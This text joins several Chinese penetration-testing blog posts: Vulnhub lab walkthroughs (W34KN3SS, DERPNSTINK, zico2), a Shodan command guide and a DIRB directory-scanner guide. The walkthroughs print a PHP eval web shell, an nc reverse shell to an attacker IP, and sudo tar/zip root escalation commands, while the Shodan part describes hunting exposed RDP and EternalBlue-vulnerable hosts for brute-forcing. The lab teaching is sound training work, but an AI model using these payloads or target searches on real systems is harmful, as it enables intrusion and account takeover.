W34KN3SS，通过openssl漏洞公匙获取私匙 下载地址：https://www.vulnhub.com/entry/w34kn3ss-1,270/使用nmap进行端口扫描将这个域名，追加到hosts（本机也要追加C:\Windows\System32\drivers\etc\hosts）这个靶机中是有两个web的，一个web是用ip访问的一个web是用域名访问的，所以也需要注意，仔细观察这个n30可能是一个有用的信息目录扫描出来的一个结果，包含了一个公匙和一个版本文件查看公匙文件这个提示信息，表示的是刚刚那个.pub文件是由openssl 0.9.8c-1生成的使用searchsploit检索漏洞库我们查看第一个txt漏洞描述根据他的描述，我们下载这个文件wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/5622.tar.bz2tar -jxvf 5622.tar.bz2开始对比公匙和密匙，将root@targetcluster前面的东西拿出来进行对比尝试直接登录目录靶机，用户名是什么呢？目前得知的结果就是刚开始找到的那个n30，只能使用这个进行测试了ssh -i rsa/2048/4161de56829de2fe64b9055711f531c1-2537 n30@weakness.jth用最近爆出来CVE-2025-32463试试提权相关的学习文章：https://www.freebuf.com/articles/vuls/437488.htmlgit clone https://github.com/pr0v3rbs/CVE-2025-32463_chwoot.gitzip -r exp.zip CVE-2025-32463_chwoot本来想要使用最新的提权漏洞的，但是这里没有Docker命令，就利用不了了完整使用方法（仅作介绍）# 2 – build and run Docker image (tagged "sudo-chwoot")$ ./run.sh​# 3 – run exploit in container (drops you into a root shell)pwn@0da3726bd81f:~$ ./sudo-chwoot.shwoot!root@0da3726bd81f:/# iduid=0(root) gid=0(root) groups=0(root),1001(pwn)继续信息收集（搜集了一圈也没有什么可以利用的），只有这个code这个可执行文件我们并不知道是什么，执行file命令查看文件类型属于py文件我们找到网上在线pyc反编译工具，放入进行反编译后查看内容（在放入反编译前要先将code文件改成code.pyc文件）https://tool.lu/pyc/得到n30用户的密码dMASDNB!!#B!#!#33至此靶机完成

【kali笔记】shodan的20种使用方法，信息收集必备 【kali笔记】shodan的20种使用方法，信息收集必备Shodan是专注于搜索互联网连接设备的搜索引擎，能发现和分析设备及其漏洞，被誉为“物联网的搜索引擎”。官网获取APIkey：https://developer.shodan.io/眼睛放大一点，APIkey在右上角查看帮助参数详细 Commands: alert Manage the network alerts for your account # 管理账户的网络提示 convert Convert the given input data file into a... # 转换输入文件 count Returns the number of results for a search # 返回查询结果数量 download Download search results and save them in a... # 下载查询结果到文件 honeyscore Check whether the IP is a honeypot or not. # 检查 IP 是否为蜜罐 host View all available information for an IP... # 显示一个 IP 所有可用的详细信息 info Shows general information about your account # 显示账户的一般信息 init Initialize the Shodan command-line # 初始化命令行 myip Print your external IP address # 输出用户当前公网IP parse Extract information out of compressed JSON... # 解析提取压缩的JSON信息，即使用download下载的数据 scan Scan an IP/ netblock using Shodan. # 使用 Shodan 扫描一个IP或者网段 search Search the Shodan database # 查询 Shodan 数据库 stats Provide summary information about a search... # 提供搜索结果的概要信息 stream Stream data in real-time. # 实时显示流数据使用init初始化API在命令行中直接显示查询结果，例如搜索有关中国上海的服务器，并且开启了3389端口search直接将查询结果展示在命令行中，默认情况下只显示ip、端口号、主机名和http数据。也可以通过使用–fields来自定义显示内容。比如只显示ip、端口号、组织机构、主机名。# 搜索cn 拥有mysql服务，且包含了nginx服务的主机，并显示在终端中 shodan search --fields ip_str,port,org,hostnames mysql country:cn product:'nginx'搜索结果搜索日本的开启3389端口的服务器使用host可以指定IP地址，查看系统详细信息，地理位置、开放端口等这里也可以查看到漏洞信息，像这种不排除是蜜罐查看各种端口信息，比如3389远程端口开启，就能直接使用海德拉（Hydra）进行RDP协议爆破（请勿用于非法用途，造成的后果自行承担）Hydra使用：搜索设备（华为，思科防火墙之类的）使用stats统计nginx全球分布情况，stats通常用来统计数量使用download把这些分布情况下载下来parse可以用来解析数据，多用于python脚本中。通过vuln参数，用户可以指定一个CVE（Common Vulnerabilities and Exposures，通用漏洞披露）编号，来查找那些已知存在该漏洞的设备或服务。这里举例一个MS17-010（永恒之蓝）漏洞永恒之蓝复现过程：其他用法搜索指定的组织或公司 ，org搜索指定的操作系统/软件/平台搜索指定的IP地址或子网使用count命令获取搜索结果的数量使用myip命令获取自身外部可见的IP地址使用info命令查看自身账户的信息，包括认证的信息使用honeyscore命令查看是否有蜜罐保护，这里没计算出来，可以使用在线地址检测https://honeyscore.shodan.io/统计 cn 中使用了ssl的ip地址，并且服务使用了nginx，开启了3389远程端口的主机数量查找SSL证书已过期的设备，这可能是蜜罐的一种特征使用scan命令提交IP进行在线扫描，这里扫了半天没出来，不知道为什么scan参数 -h查看刚刚扫描的结果 listfacets参数在Shodan中的作用是获取特定搜索查询的统计信息，它允许用户对搜索结果中的某些属性进行分组和计数，以了解这些属性值的分布情况。统计指定网络段内与漏洞（vuln）相关的统计信息，并且限制结果只显示前10个最常见的漏洞指定系统oshttp.title查找HTTP响应中标题（title）字段包含特定文本的设备。这个参数可以帮助用户快速定位到具有特定标题的网页，这在渗透测试中尤其有用，因为某些管理界面或特定服务的页面标题可能包含敏感信息或标识。比如，搜索标题中包含"Login"的设备你懂的本期介绍这么多用法，如果还有其他好用的用法，还请师傅们留言指出，让更多的师傅们学习。往期推荐XSS高级用法，SEO优化，挂ma，MS14_064一款开源持续更新的后渗透免杀框架【RCE剖析】从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析Win11综合渗透系统，第二个”kali“武器库——文末抽黑神话【内网渗透】ICMP隧道技术，ICMP封装穿透防火墙上线MSF/CS

DIRB：一款强大的Web目录扫描工具使用指南 DIRB是一款广泛使用的开源Web内容扫描工具，它专注于发现Web服务器上存在的目录和文件。对于安全研究员、渗透测试人员以及Web开发者来说，DIRB是一个不可或缺的工具，它能帮助他们识别潜在的入口点，从而进一步评估目标网站的安全性。本文将详细介绍DIRB的基本用法、高级特性、配置选项以及如何在实际渗透测试中有效使用它。一、DIRB简介DIRB（DIR Browser）最初由Pablo Santos开发，自发布以来就因其简单、高效而受到欢迎。DIRB的工作原理是通过发送HTTP GET请求到服务器上的特定目录和文件，并分析响应来判断目录或文件是否存在。它支持多线程，可以快速扫描大量潜在的URL，并且可以自定义请求头和代理设置，增加了其灵活性和实用性。二、安装DIRB在大多数Linux发行版中，DIRB可以通过包管理器轻松安装。例如，在基于Debian的系统上，你可以使用apt-get命令：sudo apt-get update sudo apt-get install dirb对于其他操作系统，你可能需要从DIRB的官方网站或其他可靠的软件仓库下载源代码并自行编译安装，如果是kali操作系统，则可以直接使用。三、基本参数DIRB的基本用法非常简单。启动DIRB时，你需要指定要扫描的URL和用于匹配的字典文件。字典文件包含了可能的目录名和文件名，DIRB将依次尝试访问这些路径。项目Value参数执行效果-a设置user-agent-p<proxy[:port]>设置代理-c设置cookie-z添加毫秒延迟，避免洪水攻击-o输出结果-X在每个字典的后面添加一个后缀-H添加请求头-i不区分大小写搜索示例命令：dirb http://example.com/ -o dirb.txt这个命令会扫描http://example.com/下的所有目录和文件，并将结果输出到dirb.txt文件中。默认情况下，DIRB会使用自带的字典文件（通常位于/usr/share/dirb/wordlists/目录下）进行扫描。四、高级特性1. 自定义请求头DIRB允许你自定义HTTP请求头，这在绕过某些简单的安全机制时非常有用。使用-H参数可以添加自定义请求头。dirb http://example.com/ -H "User-Agent: Custom User-Agent"举例：之前文章https://mp.weixin.qq.com/s/U0z0R_JMdOjIOE_6aEUnvw的401验证扫描不到路径，就可以自定义请求头，防止扫不到路径，比御剑好用多了，自定义一下dirb字典也行kali中默认放在/usr/share/dirb/wordlists/common.txt文件中，命令如下dirb http://example.com -H "Authorization: Basic <base64-encoded-username:password>"2. 使用代理在需要绕过IP封锁或进行匿名扫描时，使用代理是一个好选择。DIRB支持HTTP和SOCKS代理。dirb http://example.com/ -p 8080 -x http://proxy.example.com:80803. 多线程扫描DIRB支持多线程扫描，通过-t参数可以指定线程数。增加线程数可以加快扫描速度，但也可能增加目标服务器的负载。dirb http://example.com/ -t 104. 自定义字典虽然DIRB提供了默认的字典文件，但在某些情况下，你可能需要使用自定义的字典。通过-w参数可以指定自定义字典文件。dirb http://example.com/ -w /path/to/custom_dict.txt五、在实际渗透测试中的应用在实际渗透测试中，DIRB通常用于以下场景：信息收集：在渗透测试的早期阶段，使用DIRB扫描目标网站以收集潜在的有用信息，如管理后台、上传接口等。漏洞探测：某些版本的CMS（内容管理系统）可能存在已知的安全漏洞，通过DIRB扫描可以快速定位到易受攻击的文件或目录。目录遍历防护测试：DIRB可以用来测试Web应用程序是否对目录遍历攻击具有足够的防御能力。六、结论DIRB作为一款强大的Web目录扫描工具，在渗透测试和Web安全评估中发挥着重要作用。通过合理使用DIRB及其高级特性，安全研究人员和渗透测试人员可以更高效地发现Web应用程序中的潜在弱点，为进一步提升系统安全性提供有力支持。然而，值得注意的是，在使用DIRB进行扫描时，应遵守相关法律法规和道德规范，确保测试活动的合法性和合规性。

Vulnhub-DERPNSTINK 1 根据作者提示，就是让我们收集一些网页上泄露的信息，获取系统的最高权限利用arp-scan对网络中的主机进行发现masscan端口扫描工具，对端口快速扫描分别有80，21，22端口开启了使用nmap对masscan扫描出来的端口进行指纹识别查看这个网页的源代码，找到第一个flag看样子靶场应该和网页源代码有关，只有这两个图片和DeRPnStiNK利用这两个名字进行登录测试，皆没有权限查看目录扫描出来的phpmyadmin但是我们访问的时候呢，自动跳转到了这个域名derpnstink.local，说明还是要添加hosts的发现关键字，wp-content，这不就是wordpress嘛使用这个wpscan wordpress渗透工具扫描的时候，发现自动重定向到了这个域名使用kali添加hosts利用wpscan发现可能存在的用户，以及进行密码爆破wpscan --url "http://derpnstink.local/weblog/" -e u -P /data/SecLists_Dict/Passwords/darkweb2017-top10000.txt这个不行嘞貌似能够用文件上传获取shell但是我们访问这个链接的时候呢没有任何东西的报的404，检索插件利用34681这个py文件的时候报了很多错，只能用msf了python3 -c 'import pty;pty.spawn("/bin/bash")'https://hashes.com/zh/decrypt/hash账号密码为：unclestinky/wedgie57登录后得到flag2密码碰撞，猜测密码为 home下面的用户密码，stinky 用户登录成功切换到这个用户的目录下面，发现一个ssh的密匙文件（没有什么卵用）切换到当前用户的桌面下发现flag3mrderp / derpderpderpderpderpderpderp提权方法如下

tar、zip命令提权—zico2 【OSCP】tar、zip命令提权—zico2本次靶机为zico2，OSCP类型的主要利用的是tar命令和zip命令的提权下载链接：https://download.vulnhub.com/zico/zico2.ova主机发现 && 80探测nmap全端口扫描dirb目录扫描标题包含的版本信息漏洞检索，此版本有一个远程命令执行漏洞查看内容根据提示来输入admin密码后，进入后台编写一个poc.php记好了这个“数据库”（一句话木马的php文件）的绝对路径 /usr/databases/poc.php填写名称和字段数写好我们的payload <?php @eval($_POST[cmd])?>看到提示说明我们创建成功了github上是让我们复制一个文件到根目录就可以了，但是我们没有命令执行继续信息收集，一句话木马已经上传成功了点着点着也就发现这个可能存在漏洞点这个，不就是文件包含嘛，试试普通的文件包含，利用成功有了文件包含，还有我们的脚本文件的路径，那么就有思路了，包含我们的“数据库”/usr/databases/poc.phpkali开启监听，准备反弹shell反弹shell（其他的都不行）rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.111.128 6666 >/tmp/f成功创建交互式终端python -c "import pty; pty.spawn('/bin/bash');"内网信息收集，低版本的ubuntu系统，首先想到的就是内核提权漏洞检索提权失败继续信息收集joomla内容管理系统的配置文件中，FBVtggIk5lAzEU9H，利用su切换zico用户，失败wordpress内容管理系统的配置文件，切换用户成功有了密码，就可以利用sudo了，可以看到这个用户是可以利用sudo进行提权的，要用到tar命令或者zip找找suid文件那么就利用tar命令提权了 sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/shzip+sudo提权TF=$(mktemp -u) sudo zip $TF /etc/hosts -T -TT 'sh #'往期推荐【OSCP】靶机-election【OSCP】sudo的上级目录提权，靶机SkyTower【OSCP】稀有靶机-Readme【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏【OSCP】Tr0ll 靶机全系列（1-3），FTP被玩坏了【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！